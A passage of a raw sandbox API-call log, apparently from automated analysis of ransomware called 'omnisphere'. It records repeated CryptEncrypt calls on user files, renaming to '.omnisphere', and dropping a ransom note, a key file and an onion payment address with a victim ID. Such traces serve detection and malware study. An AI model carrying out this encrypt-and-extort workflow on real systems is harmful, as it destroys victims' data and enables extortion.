dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.923] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.924] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.925] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.925] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.925] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.925] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.925] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.925] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.925] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.925] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.925] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.925] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.925] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.933] CryptDestroyKey (hKey=0x1639568) returned 1 [0127.933] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0127.933] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4e000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.933] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0127.936] GetProcessHeap () returned 0x1600000 [0127.936] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x17117d0 [0127.936] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\5f7b5f1e01b83767.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\5f7b5f1e01b83767.automaticdestinations-ms.omnisphere")) returned 1 [0127.937] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms.omnisphere.id" [0127.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\5f7b5f1e01b83767.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0127.938] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0127.939] CloseHandle (hObject=0x388) returned 1 [0127.940] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0127.941] CloseHandle (hObject=0x3c0) returned 1 [0127.941] SetEndOfFile (hFile=0x288) returned 1 [0127.941] FlushFileBuffers (hFile=0x288) returned 1 [0127.965] CloseHandle (hObject=0x288) returned 1 [0127.965] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0127.965] GetProcessHeap () returned 0x1600000 [0127.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fa8c8 [0127.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.965] GetProcessHeap () returned 0x1600000 [0127.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1f28 [0127.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1f28, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.965] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.965] GetProcessHeap () returned 0x1600000 [0127.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17105c0 [0127.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17105c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.965] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.965] GetProcessHeap () returned 0x1600000 [0127.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x165ed80 [0127.965] PathCombineW (in: pszDest=0x165ed80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0127.966] GetProcessHeap () returned 0x1600000 [0127.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1703480 [0127.966] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.966] WriteFile (in: hFile=0x288, lpBuffer=0x1703480*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1703480*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0127.966] CloseHandle (hObject=0x288) returned 1 [0127.966] GetProcessHeap () returned 0x1600000 [0127.966] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fa8c8 | out: hHeap=0x1600000) returned 1 [0127.966] GetProcessHeap () returned 0x1600000 [0127.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0127.966] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0127.966] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.967] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0127.967] CloseHandle (hObject=0x288) returned 1 [0127.967] GetProcessHeap () returned 0x1600000 [0127.967] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0127.967] GetProcessHeap () returned 0x1600000 [0127.967] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0127.967] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64e6c3a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x64e6c3a5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x64e6c3a5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="61ebb1e65cfcb8da.automaticDestinations-ms", cAlternateFileName="61EBB1~1.AUT")) returned 1 [0127.967] GetProcessHeap () returned 0x1600000 [0127.967] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0127.967] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="61ebb1e65cfcb8da.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms" [0127.967] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0127.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\61ebb1e65cfcb8da.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.968] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0127.968] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.968] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0127.970] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.970] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.970] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.970] CloseHandle (hObject=0x3c0) returned 1 [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.970] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] GetTickCount () returned 0x115fede [0127.971] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1669230) returned 1 [0127.971] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0127.971] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0127.972] CryptDestroyKey (hKey=0x1639b68) returned 1 [0127.972] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0127.972] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.972] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0127.972] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1669230) returned 1 [0127.972] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639628) returned 1 [0127.972] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.973] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, 